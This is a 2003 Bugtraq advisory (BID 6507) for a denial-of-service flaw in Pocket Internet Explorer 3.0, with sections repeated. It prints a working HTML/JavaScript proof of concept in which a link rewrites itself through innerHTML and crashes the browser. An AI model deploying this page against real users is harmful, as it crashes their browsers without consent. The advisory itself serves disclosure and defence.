Microsoft Pocket Internet Explorer Denial Of Service Vulnerability
BID:6507
Info
Microsoft Pocket Internet Explorer Denial Of Service Vulnerability
| Bugtraq ID: | 6507 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 03 2003 12:00AM |
| Updated: | Jan 03 2003 12:00AM |
| Credit: | Discovery of this vulnerability credited to Christopher Sogge Røtnes <[email protected]>. |
| Vulnerable: |
Microsoft Pocket Internet Explorer 3.0 |
| Not Vulnerable: | |
Discussion
Microsoft Pocket Internet Explorer Denial Of Service Vulnerability
A denial of service vulnerability has been reported for Pocket Internet Explorer (PIE). The vulnerability is due to the way some JavaScript code is interpreted by PIE.
By enticing a victim user to browse a maliciously crafted web page an attacker can cause PIE to crash.
A denial of service vulnerability has been reported for Pocket Internet Explorer (PIE). The vulnerability is due to the way some JavaScript code is interpreted by PIE.
By enticing a victim user to browse a maliciously crafted web page an attacker can cause PIE to crash.
Exploit / POC
Microsoft Pocket Internet Explorer Denial Of Service Vulnerability
The following proof of concept was provided:
<html> <head>
<script language="Javascript">
function displayPage(page){
if(page=="onload"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash
me</a>";}
if(page=="crash"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">crash!</a>";}
}
</script> </head>
<body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body> </html>
The following proof of concept was provided:
<html> <head>
<script language="Javascript">
function displayPage(page){
if(page=="onload"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash
me</a>";}
if(page=="crash"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">crash!</a>";}
}
</script> </head>
<body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body> </html>
Solution / Fix
Microsoft Pocket Internet Explorer Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Microsoft Pocket Internet Explorer Denial Of Service Vulnerability
References:
References:
- JS Bug makes it possible to deliberately crash Pocket PC IE (Christopher Sogge Røtnes